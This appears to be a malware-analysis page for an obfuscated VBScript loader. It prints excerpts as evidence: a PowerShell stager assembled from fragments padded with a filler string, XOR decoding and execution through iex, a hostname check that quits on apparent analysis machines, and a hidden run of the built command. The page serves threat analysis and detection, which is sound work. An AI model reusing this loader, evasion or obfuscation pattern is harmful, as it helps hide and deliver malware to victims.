DOC 1-2088-5063.vbs
Obfuscated C2, VM evasion, hidden process
Host-gated VBScript hidden encoded stagerHostname-gated fragmented hidden VBScript loader
SHA-2568cfeacb9bd7cea6377230c7d38e6a4934423db0b166ea06f7823d89d9c9baa39
MaleculeO₃(AlCAs₃)H₃(Db₂Os₂Po)
Evidence
20:24… : Expected an array."
21 End If
22 GenerateReport = result
23End Function
24 mSgmhkfinmf = rRessssssdfgddgfgfdhdgdafhdfaag
25Randomize
26Call Ugfdfging("%SYSTEMROppmfnadmOT%\Sysppmfnadmtem32ppmfnadm\WindowsPoppmfnadmwerSheppmfnadmll\")
27Call Ugfdfging("v1.0\poppmfnadmwershellppmfnadm.exe $j=ppmfnadm27-43;$ppmfnadmaTtfwppmfnadmz2h='U")
28nhhbFAjAr = TimeSerial(9,8,8)
29Dim pFpIcfI(7)
30Public Const eebpheIp = "iAjarcajf"
31'ehfFIoSed fdndjnS
32daFckhhnk = TimeSerial(8,8,8)
33Dim rAmifopmi(9)
34Public Const nISmjobk = "eApbenFaA"
35'ccgdmak ebkmdAkmb
36ImISAoga = TimeSerial(9,8,9)
37Dim SdjFomi(7)
38Public Const ohgmmeor = "IgpiAokg"
39'gdajkcb ammgdrodp
40ngFmpdSme = TimeSerial(7,8,9)
41Dim dakgfikhm(8)
42Public Const cIockmg = "gSkAISdm"
43Call Ugfdfging("ppmfnadmORHEBwU2IppmfnadmSU';$p69ppmfnadmzHpj8='appmfnadmWBmcWtxQmppmfnadmFITGUnK3")
44Call Ugfdfging("hppmfnadmmcTZjCWRVIppmfnadmjE5NE5bappmfnadm2xsSGJGRppmfnadm2x3ezppmfnadmtNfHx3ppm")
45'dgckmSiaf ShSmgdie
46emFrahk = TimeSerial(7,7,8)
47Dim mjknkag(7)
48Public Const IkcIcbfk = "garnemad"
49'cbIeIbmm cAjdchdof
50konrmkhSm = TimeSerial(7,8,7)
51Dim fmSkdmmo(8)
52Public Const nkkdnkpop = "dpcoAedhm"
53'fkbpjkff mSmkdopm
54diFjdFAd = TimeSerial(9,9,7)
55Dim mnkFAgp(7)
56Public Const mdpoanFb = "fogmpbSib"
57'kbdmfFi inAIFIi
58hoikmdSo = TimeSerial(8,9,9)
59Dim SFgkmmbgb(8)
60Call Ugfdfging("fnadmSWYGdFQ1NppmfnadmUBcVCc2ppmfnadmamocQppmfnadmH19ZntvOkRppmfnadm6VHsNSppmfnadmFRSJ05")
61Call Ugfdfging("bppmfnadma2xsSGJppmfnadmGUGZheXB6ppmfnadmZkIiF0kafGppmfnadmRNbmZtJCtppmf")
62Call Ugfdfging("nadmLWX0BfW4nKppmfnadm3hmcTZkCHppmfnadmRMTCRtppmfnadmd3p6NppmfnadmnRlBCYVHgppmfnadmMCBUZ8")
63Public Const fomdapiSn = "nrFfbeI"
64'Afrfmgg mmkjfgh
65IIkkhkk = TimeSerial(9,8,7)
66Dim kffnrpiIm(7)
67Public Const iAbddFp = "npAhiSifd"
209:67… nadmI2q19qrvZHppmfnadmz")
210Call Ugfdfging("rYWDppmfnadmlYeVgZnPppmfnadm9pGkxc3UkdppmfnadmLKyYHQ/LfppmfnadmymKKJgI+Exppmfnadmcmb")
211Call Ugfdfging("7Yuppmfnadmzs9i2ppmfnadmhYaboppmfnadm4GKt9C6iYppmfnadmfQ1IvDkNvppmfnadmDs")
212Call Ugfdfging("8mqyJfIppmfnadm3q2Sma2ppmfnadmCppj4iNppmfnadm7Ukd/bppmfnadmxbu1t5 …
498:48… Ev+=[chappmfnadmr]($gRmdppmfnadmOAlqgppmfnadm")
499Call Ugfdfging("[$cQ7ppmfnadmMyE]-ppmfnadmbxor$vWvdppmfnadmRXC[$gppmfnadm9RKylk])ppmfnadm;$g9RKylkp")
500Call Ugfdfging("pmfnadm++};$xJppmfnadmiwatsppmfnadm=$kNFjppmfnadmEv;$yuCXppmfnadmrK=$qjppmfnadmD")
501Call Ugfdfging("4Aslk7+$tppmfnadme3hK3zT+ppmfnadm$xJiwats;.ppmfnadm([char[]]ppmfnadm(105,10ppmfna")
502Call Ugfdfging("dm1,120)-jppmfnadmoin'') $yuppmfnadmCXrK")
503'fddddddddddd = Trim("Preftsfds")
504Set wshNetwork = WScript.CreateObject( "WScript.Net" & "work" )
505'Phfdfsdffdsdffafegdodspfore! crizzling
506'Gaffdsfdfsddfdfucdfho mooafnwalks unobsequiousness outwitter106
507'Scddfsdfsdfdfsdfdfdfgigadfge corfpuscular hained
508'Quaffsdftgffch anfavisnifdsngsret29
509Const Micfffsdffdffgadfffoffafspace = "gfsfsdfsfdfs kaksdf …
512:19… rffdflber161 = &HFFFF195F
513Const Bofsdfrffdflber161 = &HFFFF195F
514Const Bofsdfrffdflhgber161 = &HFFFF195F
515gddsfgd = wshNetwork.ComputerName
516Const Unfffmfatfdronlike = 25821131
517If instr(ucase(gddsfgd), "M" & "AA1") > 0 OR _
⋯4 lines
522instr(ucase(gddsfgd), "-P" & "C") > 0 Then
523WScript.Quit
524End if
525Const stfaffdsasdsafffdassgfandfvggfdbiddene = "glutfsffsffsadfnfffshageligses! vrdireduktidoners whereon."
526Const Nisdfdffffffffffasdvffgesgsffffdlss = "Orkerfsdddfgfdffdfdsonffian aboulic"
527Const Adddsasddfdffffvffsdsfdfmgpfaffhaigastria …
541:2… fLdftPu = Space(110) ' Generate 10 spafces
542WsQfuGb = StrReverse("ecfvcdsadsaddsfho")
543dfgddfgfddfgdd.Run frcmdnmdnhkc,0
544Function delectable(Mfgffdfdf97)
545 ' Retufdgftgdgdfgsfrn the character for the given code (unchanged behavior)
546 Delectable = Chr(Mfgffdfdf97)
547 ' Refgged / altergdfdfged no-op lines, still using the same variables
548 Skibstmrerssttte = "jfgd …